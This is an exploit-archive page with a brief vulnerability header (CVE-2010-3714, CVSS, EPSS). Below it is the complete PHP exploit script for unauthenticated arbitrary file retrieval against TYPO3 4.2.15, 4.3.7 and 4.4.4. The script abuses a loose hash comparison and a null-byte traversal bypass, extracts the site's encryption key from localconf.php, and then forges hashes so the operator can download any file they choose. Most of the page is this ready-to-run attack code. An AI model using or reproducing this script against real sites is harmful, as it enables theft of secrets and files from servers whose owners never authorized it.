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TYPO3 Unauthenticated Arbitrary File Retrieval

CVE Category Price Severity
CVE-2010-3714 CWE-22 Varies Critical
Author Risk Exploitation Type Date
Unknown High Remote 2011-01-02
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2010120183

Below is a copy:

<?php
/* TYPO3-SA-2010-022.php
 * Exploit Title: TYPO3 Unauthenticated Arbitrary File Retrieval (TYPO3-SA-2010-020, TYPO3-SA-2010-022)
 * Date: 29/12/2010
 * Author: ikki
 * Software Link: http://typo3.org/download/, http://sourceforge.net/projects/typo3/files/ 
 * Version: 4.2.15, 4.3.7 or 4.4.4
 * Tested on: php
 * CVE : CVE-2010-3714 (non-typesafe comparison flaw), n/a (fileDenyPattern bypass)
 *
 * @_ikki
 * 
 * TYPO3 Unauthenticated Arbitrary File Retrieval (TYPO3-SA-2010-020, plus TYPO3-SA-2010-022)
 * 
 * Exploiting a non-typesafe comparison flaw, a remote aggressor can access arbitrary files
 * on a vulnerable system. Authentication is not required to exploit this vulnerability.
 * Moreover, a "fileDenyPattern" bypass has been implemented in order to speed up the attack. 
 *
 * References:
 * - http://typo3.org/teams/security/security-bulletins/typo3-sa-2010-020/
 * - http://bugs.typo3.org/view.php?id=15898
 * - http://php.net/manual/en/language.operators.comparison.php
 * - http://blog.nibblesec.org/2010/12/unspecified-vulnerabilities.html ("least disclosure" rant)
 *
 * Fix: Update to the TYPO3 versions 4.2.16, 4.3.9, 4.4.5 or newer
 * Credits: Gregor Kopf for finding the neat non-typesafe comparison flaw, Micha� Trojnara for his daily tips 
 */

define("VERSION","0.2");
/* v0.2
 * - HTTP and HTTPS support (without verifying the peer's certificate)
 * - File retrieval, just after the initial encryption key disclosure 
 * - Proxy support
 * - (Dirty) multi requests support (using curl multi_requests)
 * - Preliminary checks 
 */ 
define("DEBUG",FALSE);
if(!defined("STDIN")) define("STDIN", fopen('php://stdin','r'));
if(!defined("STDERR")) define("STDERR", fopen('php://stderr','r'));

/* Turn on/off all error reporting */
DEBUG ? error_reporting(E_ALL) : error_reporting(0); 
set_time_limit(0);

/* Main */
echo("\n\n :: [ TYPO3-SA-2010-022.php v".VERSION." ] :: \n\n");

if($argc=="3"){
$typo=$argv[1];
$reqs=$argv[2]; //Uwaga! Too many requests may even slow down the attack
}else if($argc=="4"){
 $typo=$argv[1];
 $reqs=$argv[2]; //Uwaga! Too many requests may even slow down the attack
 $proxy=$argv[3];
}else{
 echo "Usage: php ".$argv[0]." TYPO3ValidURL ParallelRequests (Proxy)\n\n";
 echo "Examples:\r\n";
 echo "php ".$argv[0]." http://127.0.0.1/index.php?id=2 9\n";
 echo "php ".$argv[0]." https://127.0.0.1/index.php?id=15 9\n";
 echo "php ".$argv[0]." http://127.0.0.1:8080/index.php?id=223 12\n";
 echo "php ".$argv[0]." http://127.0.0.1/index.php?id=223 12 http://127.0.0.1:8181\n\n";
 exit;
}

$url=substr($typo,0,strpos($typo,"id=")-1);
$id=substr($typo,strpos($typo,"id=")+3);
$locationData=$id.":";
$jumpurl="typo3conf/ext/../localconf.php%00"; //Null byte and directory move up trick the fileDenyPattern mechanism
$juHash="0"; // "0" is a numeric string, converted internally to 0 (int) by PHP during comparisons

/* STEP 1 - Check the remote TYPO3 installation */
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
DEBUG ? curl_setopt($ch, CURLOPT_VERBOSE, TRUE):curl_setopt($ch, CURLOPT_VERBOSE, FALSE);
curl_setopt($ch, CURLOPT_POST, 1);
if(isset($proxy)){
 curl_setopt($ch, CURLOPT_PROXY, $proxy);
}
curl_setopt($ch, CURLOPT_POSTFIELDS,"id=".$id."&type=0&jumpurl=".$jumpurl."&juSecure=1&locationData=".$locationData."&juHash=".$juHash);
$output=curl_exec($ch);

if(stristr($output,"did not match")) {
echo("[*] TYPO3 successfully detected!\n");
}else{
echo("[!] A problem occurred while detecting the remote TYPO3 installation\n");
exit;
}
curl_close ($ch);

/* STEP 2 - Retrieve $TYPO3_CONF_VARS['SYS']['encryptionKey'] from /typo3conf/localconf.php */
$mh = curl_multi_init();
$handles = array();
$location = $locationData; //locationData with padding

for($i=0;$i<$reqs;$i++){
$ch = curl_init(); //create a new single curl handle
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
    curl_setopt($ch, CURLOPT_POST, 1);
    if(isset($proxy)){
curl_setopt($ch, CURLOPT_PROXY, $proxy);
    }
    $location = "%20".$location;
    curl_setopt($ch, CURLOPT_POSTFIELDS,"id=".$id."&type=0&jumpurl=".$jumpurl."&juSecure=1&locationData=".$location."&juHash=".$juHash);

    curl_multi_add_handle($mh,$ch);
    $handles[] = $ch; // put the handles in an array to loop
}

echo("[*] Starting TYPO3's encryption key retrieval\n");
echo("[*] Padding locationData to force '0exxxxxx' strings. It may take a while.");

$rcont=0;
while(!stristr($output,"TYPO3_CONF_VARS['SYS']['encryptionKey']")){
$running=null;
  do{
curl_multi_exec($mh,$running);
  } while ($running > 0);

for($i=0;$i<count($handles);$i++){
$output = curl_multi_getcontent($handles[$i]);
    $location="%20".$location;
    curl_multi_remove_handle($mh,$handles[$i]);
    curl_setopt($handles[$i], CURLOPT_POSTFIELDS,"id=".$id."&type=0&jumpurl=".$jumpurl."&juSecure=1&locationData=".$location."&juHash=".$juHash);
    curl_multi_add_handle($mh,$handles[$i]);
$rcont++;
    echo(".");
  }
}

curl_multi_remove_handle($mh,$handles[$i]); 
curl_multi_close($mh);

$key=substr($output,strpos($output,"TYPO3_CONF_VARS['SYS']['encryptionKey'] = '")+43);
$key=substr($key,0,strpos($key,"';"));
echo("\n[*] Done! ".$rcont." requests\n");
echo("\n[*] TYPO3's encryption key:".$key."\n");

/* STEP 3 - Retrieve arbitrary files */
while(!0) {
echo("\n[*] Which file do you want to download?\n");
echo("[*] Please make your selection (e.g. '/etc/passwd'):\n\n");
$jumpurl=trim(fgets(STDIN,256));
/* Generate a valid hash as in the TYPO3 codebase*/ 
$hArr= array($jumpurl,$locationData,$key);
$juHash=substr(md5(serialize($hArr)),0,10);;

$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
DEBUG ? curl_setopt($ch, CURLOPT_VERBOSE, TRUE):curl_setopt($ch, CURLOPT_VERBOSE, FALSE);
curl_setopt($ch, CURLOPT_POST, 1);
    if(isset($proxy)){
 curl_setopt($ch, CURLOPT_PROXY, $proxy);
    }
curl_setopt($ch, CURLOPT_POSTFIELDS,"id=".$id."&type=0&jumpurl=".$jumpurl."&juSecure=1&locationData=".$locationData."&juHash=".$juHash);
$output=curl_exec($ch);

echo("\n[*]------------------------------------------------------------------------------\n\n");
if(!stristr($output,"not a valid")) echo $output;
else echo("[!] An error occurred while retriving '".$jumpurl."'\n");
echo("\n\n[*]------------------------------------------------------------------------------\n");

curl_close ($ch);
}

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